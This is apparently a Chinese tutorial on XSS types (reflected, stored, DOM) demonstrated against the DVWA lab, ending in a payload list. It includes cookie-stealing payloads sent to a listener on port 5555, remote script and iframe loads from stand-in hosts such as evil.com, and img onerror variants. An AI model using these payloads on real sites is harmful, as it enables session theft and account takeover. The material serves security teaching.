一、概念

  XSS(cross site scripting)跨站脚本为了不与网页中层叠样式表(css)混淆,故命名为xss。黑客将恶意代码嵌入网页中,当客户网文网页的时候,网页中的脚本会自动执行,从而达成黑客攻击的目的。

  XSS分类:反射型xss、持久性xss、dom型xss。

二、反射型xss

   非持久化,一般需要欺骗客户去点击构造好的链接才能触发代码。

   

java解决xss漏洞 xss漏洞代码_HTML

 

 

 

   可以看到这个窗口将我填写的信息写到了浏览器页面中,那这个时候我将信息修改成<script>alert('hhh')</script>,可以看到我嵌入的代码被执行了。

  

java解决xss漏洞 xss漏洞代码_xss攻击_02

 

  这个时候我们将构造好的url发给丽丽http://dvwa/vulnerabilities/xss_r/?name=<script>new Image().src="http://localhost:5555?cookie="+encodeURI(document.cookie);</script>

  然后开始侦听本地5555端口,在丽丽点击这个连接以后,我们就获取到了丽丽的cookie信息。

  

java解决xss漏洞 xss漏洞代码_java解决xss漏洞_03

    

 

 

三、持久型xss

  顾名思义,这种xss漏洞危害极大,因为它可以长久的保存在网页中,每个浏览过此网页的用户都会中招,很多xss蠕虫的爆发都是基于持久型xss,一般在留言板,评论区类位置容易出现此漏洞。

  例:下面是一个有浏览板功能的网页,我们将我们的攻击代码留在页面中<script>alert('hhh')</script>

  

java解决xss漏洞 xss漏洞代码_java解决xss漏洞_04

 

 

   这样我们每次访问这个页面都会接到hhh的弹窗,然后我们换一下payload,<script>new Image().src="http://localhost:5555?cookie="+document.cookie;</script> ,这样无论是那一个用户进入留言板这个页面,都会把自己的cookie弹到我们的监听窗口上。

 

三、DOM型xss

  关于DOM型xss首先要明白一个问题,一个网页是经过怎么样的步骤显示在浏览器上的?

  首先肯定是要向目标服务器发出访问请求,服务器收到请求后,根据我们的请求内容返回网页源码,然后它在我们的浏览器上解析,渲染,最后呈现出一个完整的网页在我们的眼前。DOM型xss与上面两种最大的区别就是,dom型xss漏洞是基于文档对象模型(Document Objeet Model,DOM)的,它不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的。

  例:我们构造如下url:http://localhost/iisstart.html?hhh 查看网页内容如下,如果我们将?hhh替换为相应的xss攻击代码,就会产生相应的效果。

  

java解决xss漏洞 xss漏洞代码_服务器_05

  然后我们在抓包工具查看服务器对刚刚请求的回包,我们发现构造的?hhh并没有记录到抓包工具中,证明服务器给我们返回的网页源码并没有出现xss,它是在浏览器渲染执行js的时候出现的,这就是dom型xss和其他两种xss的区别。

  

java解决xss漏洞 xss漏洞代码_java解决xss漏洞_06

 

 

 四、XSS的payload

  XSS可以插在哪里? 
  用户输入作为script标签内容
  用户输入作为HTML注释内容
  用户输入作为HTML标签的属性名
  用户输入作为HTML标签的属性值
  用户输入作为HTML标签的名字
  直接插入到CSS里  

  <script>标签:script是最有直接的xss攻击载荷,脚本标记可以应用外部的js代码,或者将脚本插入网页之中。

<script>alert("hhh")</script>
    <script src="http://1.1.1.1/a.js"></script>

  <img >标签:

<img src="2" onerror=alert('hhh')>
       <img src="2" onerror=alert(/hhh/)>
    <img src="javascript:alert("XSS");">
    <img dynsrc="javascript:alert('XSS')">
    <img lowsrc="javascript:alert('XSS')">


  <table>标签:

<table background="javascript::alert('hhh')">

  <iframe>标签:<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。

<iframe src=”http://evil.com/xss.html”>